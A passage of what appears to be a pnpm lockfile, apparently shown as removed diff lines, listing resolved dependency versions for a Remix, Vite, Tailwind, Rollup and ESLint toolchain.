postcss: 8.5.8 - postcss-discard-duplicates: 5.1.0(postcss@8.5.8) - postcss-load-config: 4.0.2(postcss@8.5.8) - postcss-modules: 6.0.1(postcss@8.5.8) - prettier: 2.8.8 - pretty-ms: 7.0.1 - react-refresh: 0.14.2 - remark-frontmatter: 4.0.1 - remark-mdx-frontmatter: 1.1.1 - semver: 7.7.4 - set-cookie-parser: 2.7.2 - tar-fs: 2.1.4 - tsconfig-paths: 4.2.0 - valibot: 1.2.0(typescript@5.9.3) - vite-node: 3.2.4(@types/node@25.3.2)(lightningcss@1.32.0) - ws: 7.5.10 - optionalDependencies: - '@remix-run/serve': 2.17.4(typescript@5.9.3) - typescript: 5.9.3 - vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) - transitivePeerDependencies: - - '@types/node' - - babel-plugin-macros - - bluebird - - bufferutil - - less - - lightningcss - - sass - - sass-embedded - - stylus - - sugarss - - supports-color - - terser - - ts-node - - utf-8-validate - - '@remix-run/express@2.17.4(express@4.22.1)(typescript@5.9.3)': - dependencies: - '@remix-run/node': 2.17.4(typescript@5.9.3) - express: 4.22.1 - optionalDependencies: - typescript: 5.9.3 - - '@remix-run/node@2.17.4(typescript@5.9.3)': - dependencies: - '@remix-run/server-runtime': 2.17.4(typescript@5.9.3) - '@remix-run/web-fetch': 4.4.2 - '@web3-storage/multipart-parser': 1.0.0 - cookie-signature: 1.2.2 - source-map-support: 0.5.21 - stream-slice: 0.1.2 - undici: 6.23.0 - optionalDependencies: - typescript: 5.9.3 - - '@remix-run/react@2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3)': - dependencies: - '@remix-run/router': 1.23.2 - '@remix-run/server-runtime': 2.17.4(typescript@5.9.3) - react: 18.3.1 - react-dom: 18.3.1(react@18.3.1) - react-router: 6.30.3(react@18.3.1) - react-router-dom: 6.30.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) - turbo-stream: 2.4.1 - optionalDependencies: - typescript: 5.9.3 - - '@remix-run/router@1.23.2': {} - - '@remix-run/serve@2.17.4(typescript@5.9.3)': - dependencies: - '@remix-run/express': 2.17.4(express@4.22.1)(typescript@5.9.3) - '@remix-run/node': 2.17.4(typescript@5.9.3) - chokidar: 3.6.0 - compression: 1.8.1 - express: 4.22.1 - get-port: 5.1.1 - morgan: 1.10.1 - source-map-support: 0.5.21 - transitivePeerDependencies: - - supports-color - - typescript - - '@remix-run/server-runtime@2.17.4(typescript@5.9.3)': - dependencies: - '@remix-run/router': 1.23.2 - '@types/cookie': 0.6.0 - '@web3-storage/multipart-parser': 1.0.0 - cookie: 0.7.2 - set-cookie-parser: 2.7.2 - source-map: 0.7.6 - turbo-stream: 2.4.1 - optionalDependencies: - typescript: 5.9.3 - - '@remix-run/web-blob@3.1.0': - dependencies: - '@remix-run/web-stream': 1.1.0 - web-encoding: 1.1.5 - - '@remix-run/web-fetch@4.4.2': - dependencies: - '@remix-run/web-blob': 3.1.0 - '@remix-run/web-file': 3.1.0 - '@remix-run/web-form-data': 3.1.0 - '@remix-run/web-stream': 1.1.0 - '@web3-storage/multipart-parser': 1.0.0 - abort-controller: 3.0.0 - data-uri-to-buffer: 3.0.1 - mrmime: 1.0.1 - - '@remix-run/web-file@3.1.0': - dependencies: - '@remix-run/web-blob': 3.1.0 - - '@remix-run/web-form-data@3.1.0': - dependencies: - web-encoding: 1.1.5 - - '@remix-run/web-stream@1.1.0': - dependencies: - web-streams-polyfill: 3.3.3 - - '@rollup/plugin-commonjs@29.0.2(rollup@4.60.0)': - dependencies: - '@rollup/pluginutils': 5.3.0(rollup@4.60.0) - commondir: 1.0.1 - estree-walker: 2.0.2 - fdir: 6.5.0(picomatch@4.0.3) - is-reference: 1.2.1 - magic-string: 0.30.21 - picomatch: 4.0.3 - optionalDependencies: - rollup: 4.60.0 - - '@rollup/plugin-node-resolve@15.3.1(rollup@4.60.0)': - dependencies: - '@rollup/pluginutils': 5.3.0(rollup@4.60.0) - '@types/resolve': 1.20.2 - deepmerge: 4.3.1 - is-module: 1.0.0 - resolve: 1.22.11 - optionalDependencies: - rollup: 4.60.0 - - '@rollup/plugin-typescript@11.1.6(rollup@4.60.0)(tslib@2.8.1)(typescript@5.9.3)': - dependencies: - '@rollup/pluginutils': 5.3.0(rollup@4.60.0) - resolve: 1.22.11 - typescript: 5.9.3 - optionalDependencies: - rollup: 4.60.0 - tslib: 2.8.1 - - '@rollup/pluginutils@5.3.0(rollup@4.60.0)': - dependencies: - '@types/estree': 1.0.8 - estree-walker: 2.0.2 - picomatch: 4.0.3 - optionalDependencies: - rollup: 4.60.0 - - '@rollup/rollup-android-arm-eabi@4.60.0': - optional: true - - '@rollup/rollup-android-arm64@4.60.0': - optional: true - - '@rollup/rollup-darwin-arm64@4.60.0': - optional: true - - '@rollup/rollup-darwin-x64@4.60.0': - optional: true - - '@rollup/rollup-freebsd-arm64@4.60.0': - optional: true - - '@rollup/rollup-freebsd-x64@4.60.0': - optional: true - - '@rollup/rollup-linux-arm-gnueabihf@4.60.0': - optional: true - - '@rollup/rollup-linux-arm-musleabihf@4.60.0': - optional: true - - '@rollup/rollup-linux-arm64-gnu@4.60.0': - optional: true - - '@rollup/rollup-linux-arm64-musl@4.60.0': - optional: true - - '@rollup/rollup-linux-loong64-gnu@4.60.0': - optional: true - - '@rollup/rollup-linux-loong64-musl@4.60.0': - optional: true - - '@rollup/rollup-linux-ppc64-gnu@4.60.0': - optional: true - - '@rollup/rollup-linux-ppc64-musl@4.60.0': - optional: true - - '@rollup/rollup-linux-riscv64-gnu@4.60.0': - optional: true - - '@rollup/rollup-linux-riscv64-musl@4.60.0': - optional: true - - '@rollup/rollup-linux-s390x-gnu@4.60.0': - optional: true - - '@rollup/rollup-linux-x64-gnu@4.60.0': - optional: true - - '@rollup/rollup-linux-x64-musl@4.60.0': - optional: true - - '@rollup/rollup-openbsd-x64@4.60.0': - optional: true - - '@rollup/rollup-openharmony-arm64@4.60.0': - optional: true - - '@rollup/rollup-win32-arm64-msvc@4.60.0': - optional: true - - '@rollup/rollup-win32-ia32-msvc@4.60.0': - optional: true - - '@rollup/rollup-win32-x64-gnu@4.60.0': - optional: true - - '@rollup/rollup-win32-x64-msvc@4.60.0': - optional: true - - '@tailwindcss/node@4.2.2': - dependencies: - '@jridgewell/remapping': 2.3.5 - enhanced-resolve: 5.20.1 - jiti: 2.6.1 - lightningcss: 1.32.0 - magic-string: 0.30.21 - source-map-js: 1.2.1 - tailwindcss: 4.2.2 - - '@tailwindcss/oxide-android-arm64@4.2.2': - optional: true - - '@tailwindcss/oxide-darwin-arm64@4.2.2': {} - - '@tailwindcss/oxide-darwin-x64@4.2.2': - optional: true - - '@tailwindcss/oxide-freebsd-x64@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm64-musl@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-x64-gnu@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-x64-musl@4.2.2': - optional: true - - '@tailwindcss/oxide-wasm32-wasi@4.2.2': - optional: true - - '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': - optional: true - - '@tailwindcss/oxide-win32-x64-msvc@4.2.2': - optional: true - - '@tailwindcss/oxide@4.2.2': - optionalDependencies: - '@tailwindcss/oxide-android-arm64': 4.2.2 - '@tailwindcss/oxide-darwin-arm64': 4.2.2 - '@tailwindcss/oxide-darwin-x64': 4.2.2 - '@tailwindcss/oxide-freebsd-x64': 4.2.2 - '@tailwindcss/oxide-linux-arm-gnueabihf': 4.2.2 - '@tailwindcss/oxide-linux-arm64-gnu': 4.2.2 - '@tailwindcss/oxide-linux-arm64-musl': 4.2.2 - '@tailwindcss/oxide-linux-x64-gnu': 4.2.2 - '@tailwindcss/oxide-linux-x64-musl': 4.2.2 - '@tailwindcss/oxide-wasm32-wasi': 4.2.2 - '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 - '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 - - '@tailwindcss/postcss@4.2.2': - dependencies: - '@alloc/quick-lru': 5.2.0 - '@tailwindcss/node': 4.2.2 - '@tailwindcss/oxide': 4.2.2 - postcss: 8.5.8 - tailwindcss: 4.2.2 - - '@tailwindcss/vite@4.2.2(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0))': - dependencies: - '@tailwindcss/node': 4.2.2 - '@tailwindcss/oxide': 4.2.2 - tailwindcss: 4.2.2 - vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) - - '@trysound/sax@0.2.0': {} - - '@types/acorn@4.0.6': - dependencies: - '@types/estree': 1.0.8 - - '@types/cookie@0.6.0': {} - - '@types/debug@4.1.12': - dependencies: - '@types/ms': 2.1.0 - - '@types/estree-jsx@1.0.5': - dependencies: - '@types/estree': 1.0.8 - - '@types/estree@1.0.8': {} - - '@types/hast@2.3.10': - dependencies: - '@types/unist': 2.0.11 - - '@types/js-yaml@4.0.9': {} - - '@types/json-schema@7.0.15': {} - - '@types/mdast@3.0.15': - dependencies: - '@types/unist': 2.0.11 - - '@types/mdx@2.0.13': {} - - '@types/ms@2.1.0': {} - - '@types/node@25.3.2': - dependencies: - undici-types: 7.18.2 - - '@types/prop-types@15.7.15': {} - - '@types/react-dom@18.3.7(@types/react@18.3.28)': - dependencies: - '@types/react': 18.3.28 - - '@types/react@18.3.28': - dependencies: - '@types/prop-types': 15.7.15 - csstype: 3.2.3 - - '@types/resolve@1.20.2': {} - - '@types/semver@7.7.1': {} - - '@types/trusted-types@2.0.7': - optional: true - - '@types/unist@2.0.11': {} - - '@typescript-eslint/eslint-plugin@6.21.0(@typescript-eslint/parser@6.21.0(eslint@8.57.1)(typescript@5.9.3))(eslint@8.57.1)(typescript@5.9.3)': - dependencies: - '@eslint-community/regexpp': 4.12.2 - '@typescript-eslint/parser': 6.21.0(eslint@8.57.1)(typescript@5.9.3) - '@typescript-eslint/scope-manager': 6.21.0 - '@typescript-eslint/type-utils': 6.21.0(eslint@8.57.1)(typescript@5.9.3) - '@typescript-eslint/utils': 6.21.0(eslint@8.57.1)(typescript@5.9.3) - '@typescript-eslint/visitor-keys': 6.21.0 - debug: 4.4.3 - eslint: 8.57.1 - graphemer: 1.4.0 - ignore: 5.3.2 - natural-compare: 1.4.0 - semver: 7.7.4 - ts-api-utils: 1.4.3(typescript@5.9.3) - optionalDependencies: - typescript: 5.9.3 - transitivePeerDependencies: - - supports-color - - '@typescript-eslint/parser@6.21.0(eslint@8.57.1)(typescript@5.9.3)': - dependencies: - '@typescript-eslint/scope-manager': 6.21.0 - '@typescript-eslint/types': 6.21.0 - '@typescript-eslint/typescript-estree': 6.21.0(typescript@5.9.3) - '@typescript-eslint/visitor-keys': 6.21.0 - debug: 4.4.3 - eslint: 8.57.1 - optionalDependencies: - typescript: 5.9.3 - transitivePeerDependencies: - - supports-color - - '@typescript-eslint/scope-manager@6.21.0': - dependencies: - '@typescript-eslint/types': 6.21.0 - '@typescript-eslint/visitor-keys': 6.21.0 - - '@typescript-eslint/type-utils@6.21.0(eslint@8.57.1)(typescript@5.9.3)': - dependencies: - '@typescript-eslint/typescript-estree': 6.21.0(typescript@5.9.3) - '@typescript-eslint/utils': 6.21.0(eslint@8.57.1)(typescript@5.9.3) - debug: 4.4.3 - eslint: 8.57.1 - ts-api-utils: 1.4.3(typescript@5.9.3) - optionalDependencies: - typescript: 5.9.3 - transitivePeerDependencies: - - supports-color - - '@typescript-eslint/types@6.21.0': {} - - '@typescript-eslint/typescript-estree@6.21.0(typescript@5.9.3)': - dependencies: - '@typescript-eslint/types': 6.21.0 - '@typescript-eslint/visitor-keys': 6.21.0 - debug: 4.4.3 - globby: 11.1.0 - is-glob: 4.0.3 - minimatch: 9.0.3 - semver: 7.7.4 - ts-api-utils: 1.4.3(typescript@5.9.3) - optionalDependencies: - typescript: 5.9.3 - transitivePeerDependencies: - - supports-color - - '@typescript-eslint/utils@6.21.0(eslint@8.57.1)(typescript@5.9.3)': - dependencies: - '@eslint-community/eslint-utils': 4.9.1(eslint@8.57.1) - '@types/json-schema': 7.0.15 - '@types/semver': 7.7.1 - '@typescript-eslint/scope-manager': 6.21.0 - '@typescript-eslint/types': 6.21.0 - '@typescript-eslint/typescript-estree': 6.21.0(typescript@5.9.3) - eslint: 8.57.1 - semver: 7.7.4 - transitivePeerDependencies: - - supports-color - - typescript - - '@typescript-eslint/visitor-keys@6.21.0': - dependencies: - '@typescript-eslint/types': 6.21.0 - eslint-visitor-keys: 3.4.3 - - '@ungap/structured-clone@1.3.0': {} - - '@vanilla-extract/babel-plugin-debug-ids@1.2.2': - dependencies: - '@babel/core': 7.29.0 - transitivePeerDependencies: - - supports-color - - '@vanilla-extract/css@1.18.0': - dependencies: - '@emotion/hash': 0.9.2 - '@vanilla-extract/private': 1.0.9 - css-what: 6.2.2 - cssesc: 3.0.0 - csstype: 3.2.3 - dedent: 1.7.1 - deep-object-diff: 1.1.9 - deepmerge: 4.3.1 - lru-cache: 10.4.3 - media-query-parser: 2.0.2 - modern-ahocorasick: 1.1.0 - picocolors: 1.1.1 - transitivePeerDependencies: - - babel-plugin-macros - - '@vanilla-extract/integration@6.5.0(@types/node@25.3.2)(lightningcss@1.32.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/plugin-syntax-typescript': 7.28.6(@babel/core@7.29.0) - '@vanilla-extract/babel-plugin-debug-ids': 1.2.2 - '@vanilla-extract/css': 1.18.0 - esbuild: 0.17.6 - eval: 0.1.8 - find-up: 5.0.0 - javascript-stringify: 2.1.0 - lodash: 4.17.23 - mlly: 1.8.0 - outdent: 0.8.0 - vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) - vite-node: 1.6.1(@types/node@25.3.2)(lightningcss@1.32.0) - transitivePeerDependencies: - - '@types/node' - - babel-plugin-macros - - less - - lightningcss - - sass - - sass-embedded - - stylus - - sugarss - - supports-color - - terser - - '@vanilla-extract/private@1.0.9': {} - - '@web3-storage/multipart-parser@1.0.0': {} - - '@zxing/text-encoding@0.9.0': - optional: true - - abort-controller@3.0.0: - dependencies: - event-target-shim: 5.0.1 - - accepts@1.3.8: - dependencies: - mime-types: 2.1.35 - negotiator: 0.6.3 - - acorn-jsx@5.3.2(acorn@8.16.0): - dependencies: - acorn: 8.16.0 - - acorn@8.16.0: {} - - aggregate-error@3.1.0: - dependencies: - clean-stack: 2.2.0 - indent-string: 4.0.0 - - ajv@6.14.0: - dependencies: - fast-deep-equal: 3.1.3 - fast-json-stable-stringify: 2.1.0 - json-schema-traverse: 0.4.1 - uri-js: 4.4.1 - - ansi-regex@5.0.1: {} - - ansi-regex@6.2.2: {} - - ansi-styles@4.3.0: - dependencies: - color-convert: 2.0.1 - - ansi-styles@6.2.3: {} - - anymatch@3.1.3: - dependencies: - normalize-path: 3.0.0 - picomatch: 2.3.1 - - arg@5.0.2: {} - - argparse@2.0.1: {} - - aria-hidden@1.2.6: - dependencies: - tslib: 2.8.1 - - array-buffer-byte-length@1.0.2: - dependencies: - call-bound: 1.0.4 - is-array-buffer: 3.0.5 - - array-flatten@1.1.1: {} - - array-includes@3.1.9: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-object-atoms: 1.1.1 - get-intrinsic: 1.3.0 - is-string: 1.1.1 - math-intrinsics: 1.1.0 - - array-union@2.1.0: {} - - array.prototype.findlast@1.2.5: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-errors: 1.3.0 - es-object-atoms: 1.1.1 - es-shim-unscopables: 1.1.0 - - array.prototype.flat@1.3.3: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-shim-unscopables: 1.1.0 - - array.prototype.flatmap@1.3.3: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-shim-unscopables: 1.1.0 - - array.prototype.tosorted@1.1.4: - dependencies: - call-bind: 1.0.8 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-errors: 1.3.0 - es-shim-unscopables: 1.1.0 - - arraybuffer.prototype.slice@1.0.4: - dependencies: - array-buffer-byte-length: 1.0.2 - call-bind: 1.0.8 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-errors: 1.3.0 - get-intrinsic: 1.3.0 - is-array-buffer: 3.0.5 - - astring@1.9.0: {} - - async-function@1.0.0: {} - - autoprefixer@10.4.27(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - caniuse-lite: 1.0.30001774 - fraction.js: 5.3.4 - picocolors: 1.1.1 - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - - available-typed-arrays@1.0.7: - dependencies: - possible-typed-array-names: 1.1.0 - - bail@2.0.2: {} - - balanced-match@1.0.2: {} - - base64-js@1.5.1: {} - - baseline-browser-mapping@2.10.0: {} - - basic-auth@2.0.1: - dependencies: - safe-buffer: 5.1.2 - - binary-extensions@2.3.0: {} - - bl@4.1.0: - dependencies: - buffer: 5.7.1 - inherits: 2.0.4 - readable-stream: 3.6.2 - - body-parser@1.20.4: - dependencies: - bytes: 3.1.2 - content-type: 1.0.5 - debug: 2.6.9 - depd: 2.0.0 - destroy: 1.2.0 - http-errors: 2.0.1 - iconv-lite: 0.4.24 - on-finished: 2.4.1 - qs: 6.14.2 - raw-body: 2.5.3 - type-is: 1.6.18 - unpipe: 1.0.0 - transitivePeerDependencies: - - supports-color - - boolbase@1.0.0: {} - - brace-expansion@1.1.12: - dependencies: - balanced-match: 1.0.2 - concat-map: 0.0.1 - - brace-expansion@2.0.2: - dependencies: - balanced-match: 1.0.2 - - braces@3.0.3: - dependencies: - fill-range: 7.1.1 - - browserify-zlib@0.1.4: - dependencies: - pako: 0.2.9 - - browserslist@4.28.1: - dependencies: - baseline-browser-mapping: 2.10.0 - caniuse-lite: 1.0.30001774 - electron-to-chromium: 1.5.302 - node-releases: 2.0.27 - update-browserslist-db: 1.2.3(browserslist@4.28.1) - - buffer-from@1.1.2: {} - - buffer@5.7.1: - dependencies: - base64-js: 1.5.1 - ieee754: 1.2.1 - - bytes@3.1.2: {} - - cac@6.7.14: {} - - cacache@17.1.4: - dependencies: - '@npmcli/fs': 3.1.1 - fs-minipass: 3.0.3 - glob: 10.5.0 - lru-cache: 7.18.3 - minipass: 7.1.3 - minipass-collect: 1.0.2 - minipass-flush: 1.0.5 - minipass-pipeline: 1.2.4 - p-map: 4.0.0 - ssri: 10.0.6 - tar: 6.2.1 - unique-filename: 3.0.0 - - call-bind-apply-helpers@1.0.2: - dependencies: - es-errors: 1.3.0 - function-bind: 1.1.2 - - call-bind@1.0.8: - dependencies: - call-bind-apply-helpers: 1.0.2 - es-define-property: 1.0.1 - get-intrinsic: 1.3.0 - set-function-length: 1.2.2 - - call-bound@1.0.4: - dependencies: - call-bind-apply-helpers: 1.0.2 - get-intrinsic: 1.3.0 - - callsites@3.1.0: {} - - caniuse-api@3.0.0: - dependencies: - browserslist: 4.28.1 - caniuse-lite: 1.0.30001774 - lodash.memoize: 4.1.2 - lodash.uniq: 4.5.0 - - caniuse-lite@1.0.30001774: {} - - ccount@2.0.1: {} - - chalk@4.1.2: - dependencies: - ansi-styles: 4.3.0 - supports-color: 7.2.0 - - character-entities-html4@2.1.0: {} - - character-entities-legacy@3.0.0: {} - - character-entities@2.0.2: {} - - character-reference-invalid@2.0.1: {} - - chokidar@3.6.0: - dependencies: - anymatch: 3.1.3 - braces: 3.0.3 - glob-parent: 5.1.2 - is-binary-path: 2.1.0 - is-glob: 4.0.3 - normalize-path: 3.0.0 - readdirp: 3.6.0 - optionalDependencies: - fsevents: 2.3.3 - - chownr@1.1.4: {} - - chownr@2.0.0: {} - - class-variance-authority@0.7.1: - dependencies: - clsx: 2.1.1 - - clean-stack@2.2.0: {} - - cli-cursor@3.1.0: - dependencies: - restore-cursor: 3.1.0 - - cli-spinners@2.9.2: {} - - clone@1.0.4: {} - - clsx@2.1.1: {} - - cmdk@1.1.1(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4): - dependencies: - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-dialog': 1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-primitive': 2.1.4(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - transitivePeerDependencies: - - '@types/react' - - '@types/react-dom' - - color-convert@2.0.1: - dependencies: - color-name: 1.1.4 - - color-name@1.1.4: {} - - colord@2.9.3: {} - - comma-separated-tokens@2.0.3: {} - - commander@7.2.0: {} - - commondir@1.0.1: {} - - compressible@2.0.18: - dependencies: - mime-db: 1.54.0 - - compression@1.8.1: - dependencies: - bytes: 3.1.2 - compressible: 2.0.18 - debug: 2.6.9 - negotiator: 0.6.4 - on-headers: 1.1.0 - safe-buffer: 5.2.1 - vary: 1.1.2 - transitivePeerDependencies: - - supports-color - - concat-map@0.0.1: {} - - concat-with-sourcemaps@1.1.0: - dependencies: - source-map: 0.6.1 - - confbox@0.1.8: {} - - confbox@0.2.4: {} - - content-disposition@0.5.4: - dependencies: - safe-buffer: 5.2.1 - - content-type@1.0.5: {} - - convert-source-map@2.0.0: {} - - cookie-signature@1.0.7: {} - - cookie-signature@1.2.2: {} - - cookie@0.7.2: {} - - core-util-is@1.0.3: {} - - cross-spawn@7.0.6: - dependencies: - path-key: 3.1.1 - shebang-command: 2.0.0 - which: 2.0.2 - - css-declaration-sorter@6.4.1(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - css-select@4.3.0: - dependencies: - boolbase: 1.0.0 - css-what: 6.2.2 - domhandler: 4.3.1 - domutils: 2.8.0 - nth-check: 2.1.1 - - css-tree@1.1.3: - dependencies: - mdn-data: 2.0.14 - source-map: 0.6.1 - - css-what@6.2.2: {} - - cssesc@3.0.0: {} - - cssnano-preset-default@5.2.14(postcss@8.5.8): - dependencies: - css-declaration-sorter: 6.4.1(postcss@8.5.8) - cssnano-utils: 3.1.0(postcss@8.5.8) - postcss: 8.5.8 - postcss-calc: 8.2.4(postcss@8.5.8) - postcss-colormin: 5.3.1(postcss@8.5.8) - postcss-convert-values: 5.1.3(postcss@8.5.8) - postcss-discard-comments: 5.1.2(postcss@8.5.8) - postcss-discard-duplicates: 5.1.0(postcss@8.5.8) - postcss-discard-empty: 5.1.1(postcss@8.5.8) - postcss-discard-overridden: 5.1.0(postcss@8.5.8) - postcss-merge-longhand: 5.1.7(postcss@8.5.8) - postcss-merge-rules: 5.1.4(postcss@8.5.8) - postcss-minify-font-values: 5.1.0(postcss@8.5.8) - postcss-minify-gradients: 5.1.1(postcss@8.5.8) - postcss-minify-params: 5.1.4(postcss@8.5.8) - postcss-minify-selectors: 5.2.1(postcss@8.5.8) - postcss-normalize-charset: 5.1.0(postcss@8.5.8) - postcss-normalize-display-values: 5.1.0(postcss@8.5.8) - postcss-normalize-positions: 5.1.1(postcss@8.5.8) - postcss-normalize-repeat-style: 5.1.1(postcss@8.5.8) - postcss-normalize-string: 5.1.0(postcss@8.5.8) - postcss-normalize-timing-functions: 5.1.0(postcss@8.5.8) - postcss-normalize-unicode: 5.1.1(postcss@8.5.8) - postcss-normalize-url: 5.1.0(postcss@8.5.8) - postcss-normalize-whitespace: 5.1.1(postcss@8.5.8) - postcss-ordered-values: 5.1.3(postcss@8.5.8) - postcss-reduce-initial: 5.1.2(postcss@8.5.8) - postcss-reduce-transforms: 5.1.0(postcss@8.5.8) - postcss-svgo: 5.1.0(postcss@8.5.8) - postcss-unique-selectors: 5.1.1(postcss@8.5.8) - - cssnano-utils@3.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - cssnano@5.1.15(postcss@8.5.8): - dependencies: - cssnano-preset-default: 5.2.14(postcss@8.5.8) - lilconfig: 2.1.0 - postcss: 8.5.8 - yaml: 1.10.2 - - csso@4.2.0: - dependencies: - css-tree: 1.1.3 - - csstype@3.2.3: {} - - data-uri-to-buffer@3.0.1: {} - - data-view-buffer@1.0.2: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - is-data-view: 1.0.2 - - data-view-byte-length@1.0.2: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - is-data-view: 1.0.2 - - data-view-byte-offset@1.0.1: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - is-data-view: 1.0.2 - - date-fns@3.6.0: {} - - debug@2.6.9: - dependencies: - ms: 2.0.0 - - debug@4.4.3: - dependencies: - ms: 2.1.3 - - decode-named-character-reference@1.3.0: - dependencies: - character-entities: 2.0.2 - - dedent@1.7.1: {} - - deep-is@0.1.4: {} - - deep-object-diff@1.1.9: {} - - deepmerge@4.3.1: {} - - defaults@1.0.4: - dependencies: - clone: 1.0.4 - - define-data-property@1.1.4: - dependencies: - es-define-property: 1.0.1 - es-errors: 1.3.0 - gopd: 1.2.0 - - define-properties@1.2.1: - dependencies: - define-data-property: 1.1.4 - has-property-descriptors: 1.0.2 - object-keys: 1.1.1 - - depd@2.0.0: {} - - dequal@2.0.3: {} - - destroy@1.2.0: {} - - detect-libc@2.1.2: {} - - detect-node-es@1.1.0: {} - - diff@5.2.2: {} - - dir-glob@3.0.1: - dependencies: - path-type: 4.0.0 - - doctrine@2.1.0: - dependencies: - esutils: 2.0.3 - - doctrine@3.0.0: - dependencies: - esutils: 2.0.3 - - dom-serializer@1.4.1: - dependencies: - domelementtype: 2.3.0 - domhandler: 4.3.1 - entities: 2.2.0 - - domelementtype@2.3.0: {} - - domhandler@4.3.1: - dependencies: - domelementtype: 2.3.0 - - dompurify@3.2.7: - optionalDependencies: - '@types/trusted-types': 2.0.7 - - domutils@2.8.0: - dependencies: - dom-serializer: 1.4.1 - domelementtype: 2.3.0 - domhandler: 4.3.1 - - dotenv@16.6.1: {} - - dunder-proto@1.0.1: - dependencies: - call-bind-apply-helpers: 1.0.2 - es-errors: 1.3.0 - gopd: 1.2.0 - - duplexify@3.7.1: - dependencies: - end-of-stream: 1.4.5 - inherits: 2.0.4 - readable-stream: 2.3.8 - stream-shift: 1.0.3 - - eastasianwidth@0.2.0: {} - - ee-first@1.1.1: {} - - electron-to-chromium@1.5.302: {} - - emoji-regex@8.0.0: {} - - emoji-regex@9.2.2: {} - - encodeurl@2.0.0: {} - - end-of-stream@1.4.5: - dependencies: - once: 1.4.0 - - enhanced-resolve@5.20.1: - dependencies: - graceful-fs: 4.2.11 - tapable: 2.3.2 - - entities@2.2.0: {} - - err-code@2.0.3: {} - - es-abstract@1.24.1: - dependencies: - array-buffer-byte-length: 1.0.2 - arraybuffer.prototype.slice: 1.0.4 - available-typed-arrays: 1.0.7 - call-bind: 1.0.8 - call-bound: 1.0.4 - data-view-buffer: 1.0.2 - data-view-byte-length: 1.0.2 - data-view-byte-offset: 1.0.1 - es-define-property: 1.0.1 - es-errors: 1.3.0 - es-object-atoms: 1.1.1 - es-set-tostringtag: 2.1.0 - es-to-primitive: 1.3.0 - function.prototype.name: 1.1.8 - get-intrinsic: 1.3.0 - get-proto: 1.0.1 - get-symbol-description: 1.1.0 - globalthis: 1.0.4 - gopd: 1.2.0 - has-property-descriptors: 1.0.2 - has-proto: 1.2.0 - has-symbols: 1.1.0 - hasown: 2.0.2 - internal-slot: 1.1.0 - is-array-buffer: 3.0.5 - is-callable: 1.2.7 - is-data-view: 1.0.2 - is-negative-zero: 2.0.3 - is-regex: 1.2.1 - is-set: 2.0.3 - is-shared-array-buffer: 1.0.4 - is-string: 1.1.1 - is-typed-array: 1.1.15 - is-weakref: 1.1.1 - math-intrinsics: 1.1.0 - object-inspect: 1.13.4 - object-keys: 1.1.1 - object.assign: 4.1.7 - own-keys: 1.0.1 - regexp.prototype.flags: 1.5.4 - safe-array-concat: 1.1.3 - safe-push-apply: 1.0.0 - safe-regex-test: 1.1.0 - set-proto: 1.0.0 - stop-iteration-iterator: 1.1.0 - string.prototype.trim: 1.2.10 - string.prototype.trimend: 1.0.9 - string.prototype.trimstart: 1.0.8 - typed-array-buffer: 1.0.3 - typed-array-byte-length: 1.0.3 - typed-array-byte-offset: 1.0.4 - typed-array-length: 1.0.7 - unbox-primitive: 1.1.0 - which-typed-array: 1.1.20 - - es-define-property@1.0.1: {} - - es-errors@1.3.0: {} - - es-iterator-helpers@1.2.2: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - es-abstract: 1.24.1 - es-errors: 1.3.0 - es-set-tostringtag: 2.1.0 - function-bind: 1.1.2 - get-intrinsic: 1.3.0 - globalthis: 1.0.4 - gopd: 1.2.0 - has-property-descriptors: 1.0.2 - has-proto: 1.2.0 - has-symbols: 1.1.0 - internal-slot: 1.1.0 - iterator.prototype: 1.1.5 - safe-array-concat: 1.1.3 - - es-module-lexer@1.7.0: {} - - es-object-atoms@1.1.1: - dependencies: - es-errors: 1.3.0 - - es-set-tostringtag@2.1.0: - dependencies: - es-errors: 1.3.0 - get-intrinsic: 1.3.0 - has-tostringtag: 1.0.2 - hasown: 2.0.2 - - es-shim-unscopables@1.1.0: - dependencies: - hasown: 2.0.2 - - es-to-primitive@1.3.0: - dependencies: - is-callable: 1.2.7 - is-date-object: 1.1.0 - 